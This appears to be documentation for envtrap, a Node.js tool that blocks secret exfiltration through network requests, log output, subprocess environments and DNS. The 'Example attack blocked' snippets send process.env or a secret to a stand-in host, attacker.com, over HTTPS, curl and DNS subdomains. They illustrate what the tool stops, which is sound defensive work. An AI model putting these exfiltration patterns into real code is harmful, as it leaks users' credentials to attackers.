> ## Documentation Index
> Fetch the complete documentation index at: https://envtrap.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Attack Surfaces

> The five runtime channels envtrap monitors to prevent secret exfiltration from Node.js processes.

## Overview

envtrap protects against five distinct exfiltration paths that malicious packages commonly exploit:

<CardGroup cols={2}>
  <Card title="Network (HTTPS/HTTP)" icon="globe">
    Outbound requests carrying secrets in headers, body, or URL
  </Card>

  <Card title="stdout / stderr" icon="terminal">
    Console output and log streams leaking secrets
  </Card>

  <Card title="child_process" icon="code-branch">
    Spawned subprocesses inheriting secrets via `options.env`
  </Card>

  <Card title="DNS" icon="network-wired">
    Secrets encoded in DNS subdomain queries to bypass HTTP monitoring
  </Card>

  <Card title="Entropy Detection" icon="chart-bar">
    Statistical screening of high-entropy strings in `process.env` and `.env`
  </Card>
</CardGroup>

***

## 1. Network Channel (`network`)

**Risk**: Any npm package can make outbound HTTPS requests and silently include secrets in headers or the request body. Standard firewalls only filter by IP/domain — they cannot inspect encrypted TLS payloads.

**What envtrap does**:

* Starts a local MITM TLS proxy on `127.0.0.1`
* Routes all HTTP/HTTPS traffic from the child process through it via `HTTP_PROXY` / `HTTPS_PROXY`
* Decrypts TLS connections using an in-memory CA (the child trusts it via `NODE_EXTRA_CA_CERTS`)
* Scans the decrypted **URL path**, **request headers**, and **request body** for loaded secrets
* **`block` mode**: Responds with `403 Forbidden` (HTTP) or destroys the socket (HTTPS CONNECT)
* **`warn` mode**: Logs the leak and forwards the request to the real upstream server

**Domain exclusions**: Add trusted domains to `exclusions.domains` to bypass proxy scanning for known-safe traffic:

```json theme={null}
{ "exclusions": { "domains": ["api.stripe.com", "api.openai.com"] } }
```

**Example attack blocked**:

```javascript theme={null}
// inside node_modules/evil-package/index.js
const https = require('https');
https.request({
  hostname: 'attacker.com',
  path: '/collect',
  method: 'POST',
}).end(JSON.stringify(process.env)); // All secrets sent!
```

```
🌐 SECRET LEAK DETECTED
  Secret:  STRIPE_SECRET_KEY  (source: env)
  Channel: 🌐  NETWORK
  Context:
    Outbound HTTPS Request Audited:
    Destination Host: attacker.com
    Request Line: POST /collect
```

***

## 2. stdout / stderr Channels (`stdout`, `stderr`)

**Risk**: Logging frameworks, debug utilities, and error handlers frequently serialize full request objects or environment maps — leaking secrets into log streams that may be stored, shipped to log aggregators, or captured by AI coding tools.

**What envtrap does**:

* Pipes the child process's `stdout` and `stderr` streams to the parent envtrap process
* Scans every chunk for active secret values
* **Redacts** matched secrets: `[REDACTED: SHA256:<8-char hash>]`
* **`block` mode**: Sends `SIGTERM` to the child process immediately after the first detection
* **`warn` mode**: Redacts the output and logs the leak, child continues running

**Path exclusions**: If the code writing to stdout/stderr originates from a path matching `exclusions.paths`, the hook pre-redacts the content to `[REDACTED: PATH_EXCLUDED]` **inside the child process** before it reaches the parent scanner, suppressing the alert entirely.

**Example**:

```javascript theme={null}
console.log('Request config:', { headers: { Authorization: `Bearer ${process.env.GITHUB_TOKEN}` } });
// → stdout gets: "Bearer [REDACTED: SHA256:f23831a9]"
```

***

## 3. child\_process Channel (`child_process`)

**Risk**: `child_process.exec` and `spawn` can be called with an explicit `options.env` object. Malicious code can pass the full process environment (containing all secrets) to shell utilities like `curl`, `wget`, or `python` to exfiltrate data.

**What envtrap does**:

* Wraps `spawn`, `spawnSync`, `exec`, `execSync`, `execFile`, `execFileSync`, and `fork`
* Checks if `options.env` contains any active secret value by exact key match
* Works for **both ESM (`import`)** and **CommonJS (`require()`)** — via module.register() hooks and Module.prototype.require patching respectively
* **`block` mode**: Throws a synchronous `Error` before any OS fork happens
* **`warn` mode**: Reports the leak to the parent via stderr, subprocess execution continues

**Path exclusions**: If the spawn call originates from a file matching `exclusions.paths`, the check is skipped entirely.

**Example attack blocked**:

```javascript theme={null}
const { exec } = require('child_process');
exec('curl https://attacker.com', {
  env: { ...process.env }  // includes STRIPE_SECRET_KEY!
});
// → Throws: [envtrap] child_process block: env key "STRIPE_SECRET_KEY" passed to child process
```

***

## 4. DNS Channel (`dns`)

**Risk**: DNS lookups bypass most HTTP-layer firewalls. Attackers can encode secrets in subdomain labels (e.g., `c3RyaXBlX3NlY3JldA==.attacker.com`) and recover them server-side from DNS query logs — without making a single HTTP connection.

**What envtrap does**:

* Intercepts **all `node:dns` API calls**: `lookup`, `resolve`, `resolve4`, `resolve6`, `resolveAny`, `resolveCname`, `resolveMx`, `resolveNaptr`, `resolveNs`, `resolvePtr`, `resolveSoa`, `resolveSrv`, `resolveTxt`, and all `dns.promises.*` equivalents
* Checks the target hostname for **exact matches** of any registered secret value
* Performs **high-entropy subdomain analysis**: splits the hostname on `.`, checks each label — if a label has length ≥ `entropy.minLength` AND Shannon entropy ≥ `entropy.threshold`, a tunneling warning is emitted regardless of whether a secret was matched
* Works for both **ESM and CommonJS**
* **`block` mode**: Throws a synchronous `Error` before any network packet is sent
* **`warn` mode**: Emits the warning and allows the lookup to proceed

**Example attack blocked**:

```javascript theme={null}
import dns from 'dns';
// Secret value embedded in subdomain:
dns.lookup(`${process.env.STRIPE_SECRET_KEY}.attacker.com`, () => {});
// → Throws: DNS resolution blocked by envtrap: potential secret leak detected in domain name
```

***

## 5. Entropy Detection (Secret Candidate Screening)

**Risk**: Randomly generated API tokens, encryption keys, and internal credentials may not match any known regex pattern, but they are just as sensitive.

**What envtrap does**:

* At startup, screens every `process.env` value and `.env` file entry through a **Shannon entropy gate**
* Values with entropy ≥ `entropy.threshold` (default: `3.5`) AND length ≥ `entropy.minLength` (default: `12`) are registered as active secrets
* Once registered, they are protected across **all five channels** exactly like pattern-matched secrets

This means even a custom 24-character random token without a known format will be detected if it leaks through network traffic, logs, or DNS.

***

## Channel Summary

| Channel             | Key in config   | Default Mode | ESM Support   | CJS Support   | Path Exclusions |
| ------------------- | --------------- | ------------ | ------------- | ------------- | --------------- |
| Outbound HTTP/HTTPS | `network`       | `block`      | ✅ (via proxy) | ✅ (via proxy) | ❌               |
| Standard Output     | `stdout`        | `warn`       | ✅             | ✅             | ✅               |
| Standard Error      | `stderr`        | `warn`       | ✅             | ✅             | ✅               |
| Subprocess env      | `child_process` | `warn`       | ✅             | ✅             | ✅               |
| DNS resolution      | `dns`           | `block`      | ✅             | ✅             | ✅               |
